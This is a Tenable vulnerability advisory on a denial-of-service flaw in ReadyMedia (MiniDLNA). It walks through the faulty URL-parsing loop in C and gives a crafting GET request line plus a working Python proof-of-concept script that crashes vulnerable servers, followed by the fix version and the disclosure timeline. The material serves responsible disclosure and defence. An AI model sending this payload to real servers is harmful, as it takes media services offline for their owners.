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[R1] ReadyMedia HTTP Request Denial of Service

High

Synopsis

According to the project's website, "ReadyMedia (formerly known as MiniDLNA) is a simple media server software, with the aim of being fully compliant with DLNA/UPnP-AV clients. It is developed by a NETGEAR employee for the ReadyNAS product line."

Late last year, while researching UPnP implementations, Tenable noticed an odd bit of code at the top of ReadyMedia's HTTP request handler. The code, cleaned up, looked like this:

if (strncmp(p, "http://", 7) == 0)
{
    p = p+7;
    while (*p!='/')
    {
        p++;
    }
}

Where the variable p is a pointer into the first line of the HTTP GET request. Presumably the point of this snippet of code was to treat:

GET http://lobster.info/albino HTTP/1.1\r\n

As if it were:

GET /albino HTTP/1.1\r\n

However, it should be obvious that if the character "/" is never found then ReadyMedia will keep reading and incrementing p until it crashes. For example, the following line in an otherwise well formed HTTP GET request would induce the crash:

GET http://albino.lobster.lol HTTP1.1\r\n

The following python script reproduces the crash when used against a vulnerable version of ReadyMedia.

import socket
import sys

if len(sys.argv) != 3:
    print 'Usage: ./crash_minidlna.py '
    sys.exit(0)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))

print '[+] connecting to %s port %s' % server_address
sock.connect(server_address)

print '[+] Sending payload...'
sub = ('GET http://albino.lobster.lol HTTP1.1\r\n' +
    'NT: upnp:event\r\n' +
    'Timeout: Second-20\n' +
    'Connection: close\r\n' +
    '\r\n')
sock.sendall(sub)

print '[+] Receiving response...'
sock.settimeout(5)
data = ''
try:
    data = sock.recv(2048)
except socket.error:
    pass

if len(data) == 0:
    print '[-] No response'
else:
    print '%s' % data

sock.close()
print '[+] Done!'

Solution

A fix was released in ReadyMedia 1.2.0

Disclosure Timeline

2016-09-21 - Issue discovered
2016-09-28 - Reported to vendor via bug tracker (#293)
2016-09-28 - Vendor commits patch to repository fixing the issue
2016-09-29 - Asked vendor when 1.1.6 will be released
2016-12-11 - No reply, 1.1.6 still not out
2017-01-04 - 1.1.6 still not out
2017-02-27 - 1.1.6 still not out
2017-03-31 - 1.1.6 still not out
2017-05-18 - 1.2.0 released

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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